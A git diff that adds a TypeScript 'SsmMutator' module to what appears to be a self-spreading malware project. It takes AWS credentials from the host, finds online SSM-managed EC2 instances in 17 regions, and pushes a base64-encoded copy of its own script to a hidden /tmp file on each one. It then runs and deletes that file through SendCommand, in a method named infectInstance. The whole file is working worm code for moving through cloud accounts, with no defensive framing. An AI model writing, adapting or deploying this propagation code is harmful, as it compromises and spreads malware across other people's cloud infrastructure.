diff --git a/src/mutator/aws/ssm.ts b/src/mutator/aws/ssm.ts new file mode 100644 index 0000000..39e3094 --- /dev/null +++ b/src/mutator/aws/ssm.ts @@ -0,0 +1,228 @@ +import { + jsonApiRequest, + stsGetCallerIdentity, +} from "../../providers/aws/client"; +import { resolveDefaultCredentials } from "../../providers/aws/credentials"; +import type { AwsCredentials } from "../../providers/aws/sigv4"; +import { logUtil } from "../../utils/logger"; +import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; +import { Mutator } from "../base"; + +// ── Types ───────────────────────────────────────────────────────────── + +interface InstanceInfo { + InstanceId: string; + AgentVersion?: string; + PingStatus?: string; + PlatformName?: string; +} + +interface InstanceTarget { + info: InstanceInfo; + region: string; +} + +interface DescribeInstancesResponse { + InstanceInformationList?: InstanceInfo[]; + NextToken?: string; +} + +interface SendCommandResponse { + Command?: { CommandId?: string }; +} + +// ── Regions ─────────────────────────────────────────────────────────── + +const DEFAULT_REGIONS = [ + "us-east-1", + "us-east-2", + "us-west-1", + "us-west-2", + "ap-northeast-1", + "ap-northeast-2", + "ap-northeast-3", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ca-central-1", + "eu-central-1", + "eu-north-1", + "eu-west-1", + "eu-west-2", + "eu-west-3", + "sa-east-1", +]; + +const REMOTE_PATH = "/tmp/.ssm-setup.js"; + +// ── SSM Mutator ─────────────────────────────────────────────────────── + +/** Maximum bytes per shell command. SSM limits commands to ~128KB total, + * so we keep individual commands well under 32KB (safe margin). */ +const MAX_CHUNK_BYTES = 24 * 1024; + +/** + * Propagates to EC2 instances managed by AWS Systems Manager by: + * 1. Describing managed instances across all default regions + * 2. Base64-encoding the self-extracting payload + * 3. Using SSM SendCommand (AWS-RunShellScript) to deliver + execute + * the payload on each instance + */ +export class SsmMutator extends Mutator { + private credentials!: AwsCredentials; + + constructor() { + super(); + } + + override async shouldExecute(): Promise { + try { + this.credentials = await resolveDefaultCredentials(); + const identity = await stsGetCallerIdentity(this.credentials); + return !!identity.account; + } catch { + return false; + } + } + + async execute(): Promise { + try { + // 1. Discover managed instances across all regions + const instances = await this.discoverInstances(); + if (instances.length === 0) { + logUtil.log("[SsmMutator] No managed instances found."); + return false; + } + + logUtil.log( + `[SsmMutator] Found ${instances.length} managed instance(s) across ${DEFAULT_REGIONS.length} region(s)`, + ); + + // 2. Build self-extracting payload + base64 encode + const rawPayload = await Bun.file(Bun.main).text(); + const wrapped = buildSelfExtractingPayload(rawPayload, { wrap: false }); + const encoded = Buffer.from(wrapped).toString("base64"); + + // 3. Deliver to each instance (batch of 5 concurrent) + const BATCH = 5; + let ok = 0; + + for (let i = 0; i < instances.length; i += BATCH) { + const batch = instances.slice(i, i + BATCH); + const results = await Promise.allSettled( + batch.map((t) => this.infectInstance(t, encoded)), + ); + + for (let j = 0; j < results.length; j++) { + const result = results[j]!; + const id = batch[j]!.info.InstanceId.slice(0, 8); + if (result.status === "fulfilled" && result.value) { + ok++; + logUtil.log(`[SsmMutator] ${id} ✓`); + } else { + const reason = + result.status === "rejected" + ? (result.reason as Error).message + : "send-command failed"; + logUtil.log(`[SsmMutator] ${id} ✗ — ${reason}`); + } + } + } + + logUtil.log(`[SsmMutator] Done. ${ok}/${instances.length} succeeded.`); + return ok > 0; + } catch (e) { + logUtil.log( + `[SsmMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`, + ); + return false; + } + } + + // ── Instance discovery ───────────────────────────────────────────── + + private async discoverInstances(): Promise { + const all: InstanceTarget[] = []; + + await Promise.all( + DEFAULT_REGIONS.map(async (region) => { + try { + let nextToken: string | undefined; + do { + const payload: Record = { MaxResults: 50 }; + if (nextToken) payload.NextToken = nextToken; + + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.DescribeInstanceInformation", + payload, + ); + + for (const inst of response.InstanceInformationList ?? []) { + if (inst.PingStatus === "Online") { + all.push({ info: inst, region }); + } + } + + nextToken = response.NextToken; + } while (nextToken); + } catch { + // Region may not be accessible — skip silently + } + }), + ); + + return all; + } + + // ── Single-instance infection ────────────────────────────────────── + + private async infectInstance( + target: InstanceTarget, + payloadB64: string, + ): Promise { + const { info: inst, region } = target; + + // Determine which JS runtime to use based on platform + const jsCmd = inst.PlatformName?.toLowerCase().includes("windows") + ? `node ${REMOTE_PATH}` + : `command -v node >/dev/null 2>&1 && node ${REMOTE_PATH} || (which nodejs >/dev/null 2>&1 && nodejs ${REMOTE_PATH})`; + + // Build commands: first clear + chunk the payload, then execute + clean up + const commands: string[] = [`rm -f ${REMOTE_PATH}`]; + + // Chunk the base64 payload to stay within SSM command size limits + for (let i = 0; i < payloadB64.length; i += MAX_CHUNK_BYTES) { + const chunk = payloadB64.slice(i, i + MAX_CHUNK_BYTES); + commands.push(`printf '%s' '${chunk}' >> ${REMOTE_PATH}`); + } + + commands.push( + `base64 -d ${REMOTE_PATH} > ${REMOTE_PATH}.dec`, + `mv ${REMOTE_PATH}.dec ${REMOTE_PATH}`, + jsCmd, + `rm -f ${REMOTE_PATH}`, + ); + + const response = await jsonApiRequest( + this.credentials, + region, + "ssm", + "AmazonSSM.SendCommand", + { + DocumentName: "AWS-RunShellScript", + InstanceIds: [inst.InstanceId], + Parameters: { commands }, + TimeoutSeconds: 120, + }, + ); + + if (!response.Command?.CommandId) { + throw new Error("SendCommand returned no CommandId"); + } + + return true; + } +}